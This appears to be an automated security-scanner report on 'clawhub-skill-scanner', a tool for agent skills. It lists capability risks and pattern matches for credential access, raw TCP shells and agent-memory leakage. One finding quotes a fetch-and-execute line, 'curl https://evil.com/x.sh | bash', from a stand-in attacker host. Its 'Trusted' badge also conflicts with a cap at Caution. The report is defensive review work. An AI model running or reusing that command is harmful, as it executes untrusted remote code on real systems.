Caveat verdict

clawhub-skill-scanner

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Receives external input AND executes processes

Security scanner that runs local static analysis on skill directories to detect malicious patterns before installation; behavior matches stated security gatekeeper purpose.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
50
transparency
70
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but Caveat detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination critical

Receives external input AND executes processes — the shape of a command & control channel

LLM05 · LLM06 · ASI10

Capability combination critical

Reads local files AND makes external network calls — the capabilities for data exfiltration co-occur (data-flow not verified)

LLM02 · LLM06 · ASI03

Capability combination critical

Accesses agent memory/notes AND makes external network calls — may leak personal data

LLM02 · LLM07 · ASI03 · ASI06

Capability combination high

Executes processes AND makes external network calls — may exfiltrate command output

LLM02 · LLM06 · ASI03

Capability combination high

Accesses agent memory AND makes external network calls — may leak conversation history

LLM02 · LLM07 · ASI06

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Accesses agent memory/configuration files

agent_memory

Findings (14)

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

SKILL.md · code · curl https://evil.com/x.sh | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

SKILL.md · code · | bash

Pattern match critical

Pipe to python — executes piped content as Python code

README.md · code · | python3

Pattern match high

Uses eval() — can execute arbitrary code

SKILL.md · prose · downgraded · eval(

Pattern match high

os.system/popen — direct OS command execution

SKILL.md · code · os.system(

Pattern match high

Bash /dev/tcp — raw TCP connection via shell

references/threat-patterns.md · prose · downgraded · /dev/tcp/

Pattern match medium

Uses exec() — may execute shell commands

SKILL.md · prose · downgraded · exec(

Pattern match medium

Accesses cloud provider credentials

SKILL.md · prose · downgraded · ~/.aws

Pattern match medium

POSTs data to external URL

SKILL.md · code · .post('https://

Pattern match medium

Accesses .ssh directory

references/threat-patterns.md · prose · downgraded · .ssh/

Pattern match medium

References sudo — requests elevated privileges

references/threat-patterns.md · prose · downgraded · sudo

Pattern match medium

Uses spawn() — can execute external programs

scripts/scan_skill.py · prose · downgraded · spawn (

Pattern match medium

setuid — privilege escalation mechanism

scripts/scan_skill.py · prose · downgraded · setuid

Pattern match low

References tunneling service

scripts/scan_skill.py · prose · downgraded · ngrok

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

network_outnetwork_infile_readprocess_execagent_memory
Check another skill Browse the registry Auditing your own skills or configs? Use the API